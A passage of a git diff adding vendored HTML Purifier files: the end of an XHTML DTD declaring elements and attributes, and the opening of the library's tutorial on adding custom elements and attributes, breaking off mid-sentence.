+<!ATTLIST strong %attrs;>
+
+<!ELEMENT dfn %Inline;> <!-- definitional -->
+<!ATTLIST dfn %attrs;>
+
+<!ELEMENT code %Inline;> <!-- program code -->
+<!ATTLIST code %attrs;>
+
+<!ELEMENT samp %Inline;> <!-- sample -->
+<!ATTLIST samp %attrs;>
+
+<!ELEMENT kbd %Inline;> <!-- something user would type -->
+<!ATTLIST kbd %attrs;>
+
+<!ELEMENT var %Inline;> <!-- variable -->
+<!ATTLIST var %attrs;>
+
+<!ELEMENT cite %Inline;> <!-- citation -->
+<!ATTLIST cite %attrs;>
+
+<!ELEMENT abbr %Inline;> <!-- abbreviation -->
+<!ATTLIST abbr %attrs;>
+
+<!ELEMENT acronym %Inline;> <!-- acronym -->
+<!ATTLIST acronym %attrs;>
+
+<!ELEMENT q %Inline;> <!-- inlined quote -->
+<!ATTLIST q
+ %attrs;
+ cite %URI; #IMPLIED
+ >
+
+<!ELEMENT sub %Inline;> <!-- subscript -->
+<!ATTLIST sub %attrs;>
+
+<!ELEMENT sup %Inline;> <!-- superscript -->
+<!ATTLIST sup %attrs;>
+
+<!ELEMENT tt %Inline;> <!-- fixed pitch font -->
+<!ATTLIST tt %attrs;>
+
+<!ELEMENT i %Inline;> <!-- italic font -->
+<!ATTLIST i %attrs;>
+
+<!ELEMENT b %Inline;> <!-- bold font -->
+<!ATTLIST b %attrs;>
+
+<!ELEMENT big %Inline;> <!-- bigger font -->
+<!ATTLIST big %attrs;>
+
+<!ELEMENT small %Inline;> <!-- smaller font -->
+<!ATTLIST small %attrs;>
+
+<!ELEMENT u %Inline;> <!-- underline -->
+<!ATTLIST u %attrs;>
+
+<!ELEMENT s %Inline;> <!-- strike-through -->
+<!ATTLIST s %attrs;>
+
+<!ELEMENT strike %Inline;> <!-- strike-through -->
+<!ATTLIST strike %attrs;>
+
+<!ELEMENT basefont EMPTY> <!-- base font size -->
+<!ATTLIST basefont
+ id ID #IMPLIED
+ size CDATA #REQUIRED
+ color %Color; #IMPLIED
+ face CDATA #IMPLIED
+ >
+
+<!ELEMENT font %Inline;> <!-- local change to font -->
+<!ATTLIST font
+ %coreattrs;
+ %i18n;
+ size CDATA #IMPLIED
+ color %Color; #IMPLIED
+ face CDATA #IMPLIED
+ >
+
+<!--==================== Object ======================================-->
+<!--
+ object is used to embed objects as part of HTML pages.
+ param elements should precede other content. Parameters
+ can also be expressed as attribute/value pairs on the
+ object element itself when brevity is desired.
+-->
+
+<!ELEMENT object (#PCDATA | param | %block; | form | %inline; | %misc;)*>
+<!ATTLIST object
+ %attrs;
+ declare (declare) #IMPLIED
+ classid %URI; #IMPLIED
+ codebase %URI; #IMPLIED
+ data %URI; #IMPLIED
+ type %ContentType; #IMPLIED
+ codetype %ContentType; #IMPLIED
+ archive %UriList; #IMPLIED
+ standby %Text; #IMPLIED
+ height %Length; #IMPLIED
+ width %Length; #IMPLIED
+ usemap %URI; #IMPLIED
+ name NMTOKEN #IMPLIED
+ tabindex %Number; #IMPLIED
+ align %ImgAlign; #IMPLIED
+ border %Pixels; #IMPLIED
+ hspace %Pixels; #IMPLIED
+ vspace %Pixels; #IMPLIED
+ >
+
+<!--
+ param is used to supply a named property value.
+ In XML it would seem natural to follow RDF and support an
+ abbreviated syntax where the param elements are replaced
+ by attribute value pairs on the object start tag.
+-->
+<!ELEMENT param EMPTY>
+<!ATTLIST param
+ id ID #IMPLIED
+ name CDATA #REQUIRED
+ value CDATA #IMPLIED
+ valuetype (data|ref|object) "data"
+ type %ContentType; #IMPLIED
+ >
+
+<!--=================== Java applet ==================================-->
+<!--
+ One of code or object attributes must be present.
+ Place param elements before other content.
+-->
+<!ELEMENT applet (#PCDATA | param | %block; | form | %inline; | %misc;)*>
+<!ATTLIST applet
+ %coreattrs;
+ codebase %URI; #IMPLIED
+ archive CDATA #IMPLIED
+ code CDATA #IMPLIED
+ object CDATA #IMPLIED
+ alt %Text; #IMPLIED
+ name NMTOKEN #IMPLIED
+ width %Length; #REQUIRED
+ height %Length; #REQUIRED
+ align %ImgAlign; #IMPLIED
+ hspace %Pixels; #IMPLIED
+ vspace %Pixels; #IMPLIED
+ >
+
+<!--=================== Images ===========================================-->
+
+<!--
+ To avoid accessibility problems for people who aren't
+ able to see the image, you should provide a text
+ description using the alt and longdesc attributes.
+ In addition, avoid the use of server-side image maps.
+-->
+
+<!ELEMENT img EMPTY>
+<!ATTLIST img
+ %attrs;
+ src %URI; #REQUIRED
+ alt %Text; #REQUIRED
+ name NMTOKEN #IMPLIED
+ longdesc %URI; #IMPLIED
+ height %Length; #IMPLIED
+ width %Length; #IMPLIED
+ usemap %URI; #IMPLIED
+ ismap (ismap) #IMPLIED
+ align %ImgAlign; #IMPLIED
+ border %Length; #IMPLIED
+ hspace %Pixels; #IMPLIED
+ vspace %Pixels; #IMPLIED
+ >
+
+<!-- usemap points to a map element which may be in this document
+ or an external document, although the latter is not widely supported -->
+
+<!--================== Client-side image maps ============================-->
+
+<!-- These can be placed in the same document or grouped in a
+ separate document although this isn't yet widely supported -->
+
+<!ELEMENT map ((%block; | form | %misc;)+ | area+)>
+<!ATTLIST map
+ %i18n;
+ %events;
+ id ID #REQUIRED
+ class CDATA #IMPLIED
+ style %StyleSheet; #IMPLIED
+ title %Text; #IMPLIED
+ name CDATA #IMPLIED
+ >
+
+<!ELEMENT area EMPTY>
+<!ATTLIST area
+ %attrs;
+ %focus;
+ shape %Shape; "rect"
+ coords %Coords; #IMPLIED
+ href %URI; #IMPLIED
+ nohref (nohref) #IMPLIED
+ alt %Text; #REQUIRED
+ target %FrameTarget; #IMPLIED
+ >
+
+<!--================ Forms ===============================================-->
+
+<!ELEMENT form %form.content;> <!-- forms shouldn't be nested -->
+
+<!ATTLIST form
+ %attrs;
+ action %URI; #REQUIRED
+ method (get|post) "get"
+ name NMTOKEN #IMPLIED
+ enctype %ContentType; "application/x-www-form-urlencoded"
+ onsubmit %Script; #IMPLIED
+ onreset %Script; #IMPLIED
+ accept %ContentTypes; #IMPLIED
+ accept-charset %Charsets; #IMPLIED
+ target %FrameTarget; #IMPLIED
+ >
+
+<!--
+ Each label must not contain more than ONE field
+ Label elements shouldn't be nested.
+-->
+<!ELEMENT label %Inline;>
+<!ATTLIST label
+ %attrs;
+ for IDREF #IMPLIED
+ accesskey %Character; #IMPLIED
+ onfocus %Script; #IMPLIED
+ onblur %Script; #IMPLIED
+ >
+
+<!ENTITY % InputType
+ "(text | password | checkbox |
+ radio | submit | reset |
+ file | hidden | image | button)"
+ >
+
+<!-- the name attribute is required for all but submit & reset -->
+
+<!ELEMENT input EMPTY> <!-- form control -->
+<!ATTLIST input
+ %attrs;
+ %focus;
+ type %InputType; "text"
+ name CDATA #IMPLIED
+ value CDATA #IMPLIED
+ checked (checked) #IMPLIED
+ disabled (disabled) #IMPLIED
+ readonly (readonly) #IMPLIED
+ size CDATA #IMPLIED
+ maxlength %Number; #IMPLIED
+ src %URI; #IMPLIED
+ alt CDATA #IMPLIED
+ usemap %URI; #IMPLIED
+ onselect %Script; #IMPLIED
+ onchange %Script; #IMPLIED
+ accept %ContentTypes; #IMPLIED
+ align %ImgAlign; #IMPLIED
+ >
+
+<!ELEMENT select (optgroup|option)+> <!-- option selector -->
+<!ATTLIST select
+ %attrs;
+ name CDATA #IMPLIED
+ size %Number; #IMPLIED
+ multiple (multiple) #IMPLIED
+ disabled (disabled) #IMPLIED
+ tabindex %Number; #IMPLIED
+ onfocus %Script; #IMPLIED
+ onblur %Script; #IMPLIED
+ onchange %Script; #IMPLIED
+ >
+
+<!ELEMENT optgroup (option)+> <!-- option group -->
+<!ATTLIST optgroup
+ %attrs;
+ disabled (disabled) #IMPLIED
+ label %Text; #REQUIRED
+ >
+
+<!ELEMENT option (#PCDATA)> <!-- selectable choice -->
+<!ATTLIST option
+ %attrs;
+ selected (selected) #IMPLIED
+ disabled (disabled) #IMPLIED
+ label %Text; #IMPLIED
+ value CDATA #IMPLIED
+ >
+
+<!ELEMENT textarea (#PCDATA)> <!-- multi-line text field -->
+<!ATTLIST textarea
+ %attrs;
+ %focus;
+ name CDATA #IMPLIED
+ rows %Number; #REQUIRED
+ cols %Number; #REQUIRED
+ disabled (disabled) #IMPLIED
+ readonly (readonly) #IMPLIED
+ onselect %Script; #IMPLIED
+ onchange %Script; #IMPLIED
+ >
+
+<!--
+ The fieldset element is used to group form fields.
+ Only one legend element should occur in the content
+ and if present should only be preceded by whitespace.
+-->
+<!ELEMENT fieldset (#PCDATA | legend | %block; | form | %inline; | %misc;)*>
+<!ATTLIST fieldset
+ %attrs;
+ >
+
+<!ENTITY % LAlign "(top|bottom|left|right)">
+
+<!ELEMENT legend %Inline;> <!-- fieldset label -->
+<!ATTLIST legend
+ %attrs;
+ accesskey %Character; #IMPLIED
+ align %LAlign; #IMPLIED
+ >
+
+<!--
+ Content is %Flow; excluding a, form, form controls, iframe
+-->
+<!ELEMENT button %button.content;> <!-- push button -->
+<!ATTLIST button
+ %attrs;
+ %focus;
+ name CDATA #IMPLIED
+ value CDATA #IMPLIED
+ type (button|submit|reset) "submit"
+ disabled (disabled) #IMPLIED
+ >
+
+<!-- single-line text input control (DEPRECATED) -->
+<!ELEMENT isindex EMPTY>
+<!ATTLIST isindex
+ %coreattrs;
+ %i18n;
+ prompt %Text; #IMPLIED
+ >
+
+<!--======================= Tables =======================================-->
+
+<!-- Derived from IETF HTML table standard, see [RFC1942] -->
+
+<!--
+ The border attribute sets the thickness of the frame around the
+ table. The default units are screen pixels.
+
+ The frame attribute specifies which parts of the frame around
+ the table should be rendered. The values are not the same as
+ CALS to avoid a name clash with the valign attribute.
+-->
+<!ENTITY % TFrame "(void|above|below|hsides|lhs|rhs|vsides|box|border)">
+
+<!--
+ The rules attribute defines which rules to draw between cells:
+
+ If rules is absent then assume:
+ "none" if border is absent or border="0" otherwise "all"
+-->
+
+<!ENTITY % TRules "(none | groups | rows | cols | all)">
+
+<!-- horizontal placement of table relative to document -->
+<!ENTITY % TAlign "(left|center|right)">
+
+<!-- horizontal alignment attributes for cell contents
+
+ char alignment char, e.g. char=':'
+ charoff offset for alignment char
+-->
+<!ENTITY % cellhalign
+ "align (left|center|right|justify|char) #IMPLIED
+ char %Character; #IMPLIED
+ charoff %Length; #IMPLIED"
+ >
+
+<!-- vertical alignment attributes for cell contents -->
+<!ENTITY % cellvalign
+ "valign (top|middle|bottom|baseline) #IMPLIED"
+ >
+
+<!ELEMENT table
+ (caption?, (col*|colgroup*), thead?, tfoot?, (tbody+|tr+))>
+<!ELEMENT caption %Inline;>
+<!ELEMENT thead (tr)+>
+<!ELEMENT tfoot (tr)+>
+<!ELEMENT tbody (tr)+>
+<!ELEMENT colgroup (col)*>
+<!ELEMENT col EMPTY>
+<!ELEMENT tr (th|td)+>
+<!ELEMENT th %Flow;>
+<!ELEMENT td %Flow;>
+
+<!ATTLIST table
+ %attrs;
+ summary %Text; #IMPLIED
+ width %Length; #IMPLIED
+ border %Pixels; #IMPLIED
+ frame %TFrame; #IMPLIED
+ rules %TRules; #IMPLIED
+ cellspacing %Length; #IMPLIED
+ cellpadding %Length; #IMPLIED
+ align %TAlign; #IMPLIED
+ bgcolor %Color; #IMPLIED
+ >
+
+<!ENTITY % CAlign "(top|bottom|left|right)">
+
+<!ATTLIST caption
+ %attrs;
+ align %CAlign; #IMPLIED
+ >
+
+<!--
+colgroup groups a set of col elements. It allows you to group
+several semantically related columns together.
+-->
+<!ATTLIST colgroup
+ %attrs;
+ span %Number; "1"
+ width %MultiLength; #IMPLIED
+ %cellhalign;
+ %cellvalign;
+ >
+
+<!--
+ col elements define the alignment properties for cells in
+ one or more columns.
+
+ The width attribute specifies the width of the columns, e.g.
+
+ width=64 width in screen pixels
+ width=0.5* relative width of 0.5
+
+ The span attribute causes the attributes of one
+ col element to apply to more than one column.
+-->
+<!ATTLIST col
+ %attrs;
+ span %Number; "1"
+ width %MultiLength; #IMPLIED
+ %cellhalign;
+ %cellvalign;
+ >
+
+<!--
+ Use thead to duplicate headers when breaking table
+ across page boundaries, or for static headers when
+ tbody sections are rendered in scrolling panel.
+
+ Use tfoot to duplicate footers when breaking table
+ across page boundaries, or for static footers when
+ tbody sections are rendered in scrolling panel.
+
+ Use multiple tbody sections when rules are needed
+ between groups of table rows.
+-->
+<!ATTLIST thead
+ %attrs;
+ %cellhalign;
+ %cellvalign;
+ >
+
+<!ATTLIST tfoot
+ %attrs;
+ %cellhalign;
+ %cellvalign;
+ >
+
+<!ATTLIST tbody
+ %attrs;
+ %cellhalign;
+ %cellvalign;
+ >
+
+<!ATTLIST tr
+ %attrs;
+ %cellhalign;
+ %cellvalign;
+ bgcolor %Color; #IMPLIED
+ >
+
+<!-- Scope is simpler than headers attribute for common tables -->
+<!ENTITY % Scope "(row|col|rowgroup|colgroup)">
+
+<!-- th is for headers, td for data and for cells acting as both -->
+
+<!ATTLIST th
+ %attrs;
+ abbr %Text; #IMPLIED
+ axis CDATA #IMPLIED
+ headers IDREFS #IMPLIED
+ scope %Scope; #IMPLIED
+ rowspan %Number; "1"
+ colspan %Number; "1"
+ %cellhalign;
+ %cellvalign;
+ nowrap (nowrap) #IMPLIED
+ bgcolor %Color; #IMPLIED
+ width %Length; #IMPLIED
+ height %Length; #IMPLIED
+ >
+
+<!ATTLIST td
+ %attrs;
+ abbr %Text; #IMPLIED
+ axis CDATA #IMPLIED
+ headers IDREFS #IMPLIED
+ scope %Scope; #IMPLIED
+ rowspan %Number; "1"
+ colspan %Number; "1"
+ %cellhalign;
+ %cellvalign;
+ nowrap (nowrap) #IMPLIED
+ bgcolor %Color; #IMPLIED
+ width %Length; #IMPLIED
+ height %Length; #IMPLIED
+ >
+
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-customize.html b/vendor/ezyang/htmlpurifier/docs/enduser-customize.html
new file mode 100644
index 000000000..7e1ffa260
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-customize.html
@@ -0,0 +1,850 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Tutorial for customizing HTML Purifier's tag and attribute sets." />
+<link rel="stylesheet" type="text/css" href="style.css" />
+
+<title>Customize - HTML Purifier</title>
+
+</head><body>
+
+<h1 class="subtitled">Customize!</h1>
+<div class="subtitle">HTML Purifier is a Swiss-Army Knife</div>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>
+ HTML Purifier has this quirk where if you try to allow certain elements or
+ attributes, HTML Purifier will tell you that it's not supported, and that
+ you should go to the forums to find out how to implement it. Well, this
+ document is how to implement elements and attributes which HTML Purifier
+ doesn't support out of the box.
+</p>
+
+<h2>Is it necessary?</h2>
+
+<p>
+ Before we even write any code, it is paramount to consider whether or
+ not the code we're writing is necessary or not. HTML Purifier, by default,
+ contains a large set of elements and attributes: large enough so that
+ <em>any</em> element or attribute in XHTML 1.0 or 1.1 (and its HTML variants)
+ that can be safely used by the general public is implemented.
+</p>
+
+<p>
+ So what needs to be implemented? (Feel free to skip this section if
+ you know what you want).
+</p>
+
+<h3>XHTML 1.0</h3>
+
+<p>
+ All of the modules listed below are based off of the
+ <a href="http://www.w3.org/TR/2001/REC-xhtml-modularization-20010410/abstract_modules.html#sec_5.2.">modularization of
+ XHTML</a>, which, while technically for XHTML 1.1, is quite a useful
+ resource.
+</p>
+
+<ul>
+ <li>Structure</li>
+ <li>Frames</li>
+ <li>Applets (deprecated)</li>
+ <li>Forms</li>
+ <li>Image maps</li>
+ <li>Objects</li>
+ <li>Frames</li>
+ <li>Events</li>
+ <li>Meta-information</li>
+ <li>Style sheets</li>
+ <li>Link (not hypertext)</li>
+ <li>Base</li>
+ <li>Name</li>
+</ul>
+
+<p>
+ If you don't recognize it, you probably don't need it. But the curious
+ can look all of these modules up in the above-mentioned document. Note
+ that inline scripting comes packaged with HTML Purifier (more on this
+ later).
+</p>
+
+<h3>XHTML 1.1</h3>
+
+<p>
+ As of HTMLPurifier 2.1.0, we have implemented the
+ <a href="http://www.w3.org/TR/2001/REC-ruby-20010531/">Ruby module</a>,
+ which defines a set of tags
+ for publishing short annotations for text, used mostly in Japanese
+ and Chinese school texts, but applicable for positioning any text (not
+ limited to translations) above or below other corresponding text.
+</p>
+
+<h3>HTML 5</h3>
+
+<p>
+ <a href="http://www.whatwg.org/specs/web-apps/current-work/">HTML 5</a>
+ is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed
+ in the wrong direction. It too is a working draft, and may change
+ drastically before publication, but it should be noted that the
+ <code>canvas</code> tag has been implemented by many browser vendors.
+</p>
+
+<h3>Proprietary</h3>
+
+<p>
+ There are a number of proprietary tags still in the wild. Many of them
+ have been documented in <a href="ref-proprietary-tags.txt">ref-proprietary-tags.txt</a>,
+ but there is currently no implementation for any of them.
+</p>
+
+<h3>Extensions</h3>
+
+<p>
+ There are also a number of other XML languages out there that can
+ be embedded in HTML documents: two of the most popular are MathML and
+ SVG, and I frequently get requests to implement these. But they are
+ expansive, comprehensive specifications, and it would take far too long
+ to implement them <em>correctly</em> (most systems I've seen go as far
+ as whitelisting tags and no further; come on, what about nesting!)
+</p>
+
+<p>
+ Word of warning: HTML Purifier is currently <em>not</em> namespace
+ aware.
+</p>
+
+<h2>Giving back</h2>
+
+<p>
+ As you may imagine from the details above (don't be abashed if you didn't
+ read it all: a glance over would have done), there's quite a bit that
+ HTML Purifier doesn't implement. Recent architectural changes have
+ allowed HTML Purifier to implement elements and attributes that are not
+ safe! Don't worry, they won't be activated unless you set %HTML.Trusted
+ to true, but they certainly help out users who need to put, say, forms
+ on their page and don't want to go through the trouble of reading this
+ and implementing it themself.
+</p>
+
+<p>
+ So any of the above that you implement for your own application could
+ help out some other poor sap on the other side of the globe. Help us
+ out, and send back code so that it can be hammered into a module and
+ released with the core. Any code would be greatly appreciated!
+</p>
+
+<h2>And now...</h2>
+
+<p>
+ Enough philosophical talk, time for some code:
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+if ($def = $config-&gt;maybeGetRawHTMLDefinition()) {
+ // our code will go here
+}</pre>
+
+<p>
+ Assuming that HTML Purifier has already been properly loaded (hint:
+ include <code>HTMLPurifier.auto.php</code>), this code will set up
+ the environment that you need to start customizing the HTML definition.
+ What's going on?
+</p>
+
+<ul>
+ <li>
+ The first three lines are regular configuration code:
+ <ul>
+ <li>
+ %HTML.DefinitionID is set to a unique identifier for your
+ custom HTML definition. This prevents it from clobbering
+ other custom definitions on the same installation.
+ </li>
+ <li>
+ %HTML.DefinitionRev is a revision integer of your HTML
+ definition. Because HTML definitions are cached, you'll need
+ to increment this whenever you make a change in order to flush
+ the cache.
+ </li>
+ </ul>
+ </li>
+ <li>
+ The fourth line retrieves a raw <code>HTMLPurifier_HTMLDefinition</code>
+ object that we will be tweaking. Interestingly enough, we have
+ placed it in an if block: this is because
+ <code>maybeGetRawHTMLDefinition</code>, as its name suggests, may
+ return a NULL, in which case we should skip doing any
+ initialization. This, in fact, will correspond to when our fully
+ customized object is already in the cache.
+ </li>
+</ul>
+
+<h2>Turn off caching</h2>
+
+<p>
+ To make development easier, we're going to temporarily turn off
+ definition caching:
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+<strong>$config-&gt;set('Cache.DefinitionImpl', null); // TODO: remove this later!</strong>
+$def = $config-&gt;getHTMLDefinition(true);</pre>
+
+<p>
+ A few things should be mentioned about the caching mechanism before
+ we move on. For performance reasons, HTML Purifier caches generated
+ <code>HTMLPurifier_Definition</code> objects in serialized files
+ stored (by default) in <code>library/HTMLPurifier/DefinitionCache/Serializer</code>.
+ A lot of processing is done in order to create these objects, so it
+ makes little sense to repeat the same processing over and over again
+ whenever HTML Purifier is called.
+</p>
+
+<p>
+ In order to identify a cache entry, HTML Purifier uses three variables:
+ the library's version number, the value of %HTML.DefinitionRev and
+ a serial of relevant configuration. Whenever any of these changes,
+ a new HTML definition is generated. Notice that there is no way
+ for the definition object to track changes to customizations: here, it
+ is up to you to supply appropriate information to DefinitionID and
+ DefinitionRev.
+</p>
+
+<h2 id="addAttribute">Add an attribute</h2>
+
+<p>
+ For this example, we're going to implement the <code>target</code> attribute found
+ on <code>a</code> elements. To implement an attribute, we have to
+ ask a few questions:
+</p>
+
+<ol>
+ <li>What element is it found on?</li>
+ <li>What is its name?</li>
+ <li>Is it required or optional?</li>
+ <li>What are valid values for it?</li>
+</ol>
+
+<p>
+ The first three are easy: the element is <code>a</code>, the attribute
+ is <code>target</code>, and it is not a required attribute. (If it
+ was required, we'd need to append an asterisk to the attribute name,
+ you'll see an example of this in the addElement() example).
+</p>
+
+<p>
+ The last question is a little trickier.
+ Lets allow the special values: _blank, _self, _target and _top.
+ The form of this is called an <strong>enumeration</strong>, a list of
+ valid values, although only one can be used at a time. To translate
+ this into code form, we write:
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+$config-&gt;set('Cache.DefinitionImpl', null); // remove this later!
+$def = $config-&gt;getHTMLDefinition(true);
+<strong>$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');</strong></pre>
+
+<p>
+ The <code>Enum#_blank,_self,_target,_top</code> does all the magic.
+ The string is split into two parts, separated by a hash mark (#):
+</p>
+
+<ol>
+ <li>The first part is the name of what we call an <code>AttrDef</code></li>
+ <li>The second part is the parameter of the above-mentioned <code>AttrDef</code></li>
+</ol>
+
+<p>
+ If that sounds vague and generic, it's because it is! HTML Purifier defines
+ an assortment of different attribute types one can use, and each of these
+ has their own specialized parameter format. Here are some of the more useful
+ ones:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Type</th>
+ <th>Format</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Enum</th>
+ <td><em>[s:]</em>value1,value2,...</td>
+ <td>
+ Attribute with a number of valid values, one of which may be used. When
+ s: is present, the enumeration is case sensitive.
+ </td>
+ </tr>
+ <tr>
+ <th>Bool</th>
+ <td>attribute_name</td>
+ <td>
+ Boolean attribute, with only one valid value: the name
+ of the attribute.
+ </td>
+ </tr>
+ <tr>
+ <th>CDATA</th>
+ <td></td>
+ <td>
+ Attribute of arbitrary text. Can also be referred to as <strong>Text</strong>
+ (the specification makes a semantic distinction between the two).
+ </td>
+ </tr>
+ <tr>
+ <th>ID</th>
+ <td></td>
+ <td>
+ Attribute that specifies a unique ID
+ </td>
+ </tr>
+ <tr>
+ <th>Pixels</th>
+ <td></td>
+ <td>
+ Attribute that specifies an integer pixel length
+ </td>
+ </tr>
+ <tr>
+ <th>Length</th>
+ <td></td>
+ <td>
+ Attribute that specifies a pixel or percentage length
+ </td>
+ </tr>
+ <tr>
+ <th>NMTOKENS</th>
+ <td></td>
+ <td>
+ Attribute that specifies a number of name tokens, example: the
+ <code>class</code> attribute
+ </td>
+ </tr>
+ <tr>
+ <th>URI</th>
+ <td></td>
+ <td>
+ Attribute that specifies a URI, example: the <code>href</code>
+ attribute
+ </td>
+ </tr>
+ <tr>
+ <th>Number</th>
+ <td></td>
+ <td>
+ Attribute that specifies an positive integer number
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ For a complete list, consult
+ <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/AttrTypes.php"><code>library/HTMLPurifier/AttrTypes.php</code></a>;
+ more information on attributes that accept parameters can be found on their
+ respective includes in
+ <a href="http://repo.or.cz/w/htmlpurifier.git?a=tree;hb=HEAD;f=library/HTMLPurifier/AttrDef"><code>library/HTMLPurifier/AttrDef</code></a>.
+</p>
+
+<p>
+ Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't
+ sweat: you can also use a fully instantiated object as the value. The
+ equivalent, verbose form of the above example is:
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+$config-&gt;set('Cache.DefinitionImpl', null); // remove this later!
+$def = $config-&gt;getHTMLDefinition(true);
+<strong>$def-&gt;addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
+ array('_blank','_self','_target','_top')
+));</strong></pre>
+
+<p>
+ Trust me, you'll learn to love the shorthand.
+</p>
+
+<h2>Add an element</h2>
+
+<p>
+ Adding attributes is really small-fry stuff, though, and it was possible
+ to add them (albeit a bit more wordy) prior to 2.0. The real gem of
+ the Advanced API is adding elements. There are five questions to
+ ask when adding a new element:
+</p>
+
+<ol>
+ <li>What is the element's name?</li>
+ <li>What content set does this element belong to?</li>
+ <li>What are the allowed children of this element?</li>
+ <li>What attributes does the element allow that are general?</li>
+ <li>What attributes does the element allow that are specific to this element?</li>
+</ol>
+
+<p>
+ It's a mouthful, and you'll be slightly lost if your not familiar with
+ the HTML specification, so let's explain them step by step.
+</p>
+
+<h3>Content set</h3>
+
+<p>
+ The HTML specification defines two major content sets: Inline
+ and Block. Each of these
+ content sets contain a list of elements: Inline contains things like
+ <code>span</code> and <code>b</code> while Block contains things like
+ <code>div</code> and <code>blockquote</code>.
+</p>
+
+<p>
+ These content sets amount to a macro mechanism for HTML definition. Most
+ elements in HTML are organized into one of these two sets, and most
+ elements in HTML allow elements from one of these sets. If we had
+ to write each element verbatim into each other element's allowed
+ children, we would have ridiculously large lists; instead we use
+ content sets to compactify the declaration.
+</p>
+
+<p>
+ Practically speaking, there are several useful values you can use here:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Content set</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Inline</th>
+ <td>Character level elements, text</td>
+ </tr>
+ <tr>
+ <th>Block</th>
+ <td>Block-like elements, like paragraphs and lists</td>
+ </tr>
+ <tr>
+ <th><em>false</em></th>
+ <td>
+ Any element that doesn't fit into the mold, for example <code>li</code>
+ or <code>tr</code>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ By specifying a valid value here, all other elements that use that
+ content set will also allow your element, without you having to do
+ anything. If you specify <em>false</em>, you'll have to register
+ your element manually.
+</p>
+
+<h3>Allowed children</h3>
+
+<p>
+ Allowed children defines the elements that this element can contain.
+ The allowed values may range from none to a complex regexp depending on
+ your element.
+</p>
+
+<p>
+ If you've ever taken a look at the HTML DTD's before, you may have
+ noticed declarations like this:
+</p>
+
+<pre>&lt;!ELEMENT LI - O (%flow;)* -- list item --&gt;</pre>
+
+<p>
+ The <code>(%flow;)*</code> indicates the allowed children of the
+ <code>li</code> tag: <code>li</code> allows any number of flow
+ elements as its children. (The <code>- O</code> allows the closing tag to be
+ omitted, though in XML this is not allowed.) In HTML Purifier,
+ we'd write it like <code>Flow</code> (here's where the content sets
+ we were discussing earlier come into play). There are three shorthand
+ content models you can specify:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Content model</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Empty</th>
+ <td>No children allowed, like <code>br</code> or <code>hr</code></td>
+ </tr>
+ <tr>
+ <th>Inline</th>
+ <td>Any number of inline elements and text, like <code>span</code></td>
+ </tr>
+ <tr>
+ <th>Flow</th>
+ <td>Any number of inline elements, block elements and text, like <code>div</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ This covers 90% of all the cases out there, but what about elements that
+ break the mold like <code>ul</code>? This guy requires at least one
+ child, and the only valid children for it are <code>li</code>. The
+ content model is: <code>Required: li</code>. There are two parts: the
+ first type determines what <code>ChildDef</code> will be used to validate
+ content models. The most common values are:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Type</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Required</th>
+ <td>Children must be one or more of the valid elements</td>
+ </tr>
+ <tr>
+ <th>Optional</th>
+ <td>Children can be any number of the valid elements</td>
+ </tr>
+ <tr>
+ <th>Custom</th>
+ <td>Children must follow the DTD-style regex</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ You can also implement your own <code>ChildDef</code>: this was done
+ for a few special cases in HTML Purifier such as <code>Chameleon</code>
+ (for <code>ins</code> and <code>del</code>), <code>StrictBlockquote</code>
+ and <code>Table</code>.
+</p>
+
+<p>
+ The second part specifies either valid elements or a regular expression.
+ Valid elements are separated with horizontal bars (|), i.e.
+ "<code>a | b | c</code>". Use #PCDATA to represent plain text.
+ Regular expressions are based off of DTD's style:
+</p>
+
+<ul>
+ <li>Parentheses () are used for grouping</li>
+ <li>Commas (,) separate elements that should come one after another</li>
+ <li>Horizontal bars (|) indicate one or the other elements should be used</li>
+ <li>Plus signs (+) are used for a one or more match</li>
+ <li>Asterisks (*) are used for a zero or more match</li>
+ <li>Question marks (?) are used for a zero or one match</li>
+</ul>
+
+<p>
+ For example, "<code>a, b?, (c | d), e+, f*</code>" means "In this order,
+ one <code>a</code> element, at most one <code>b</code> element,
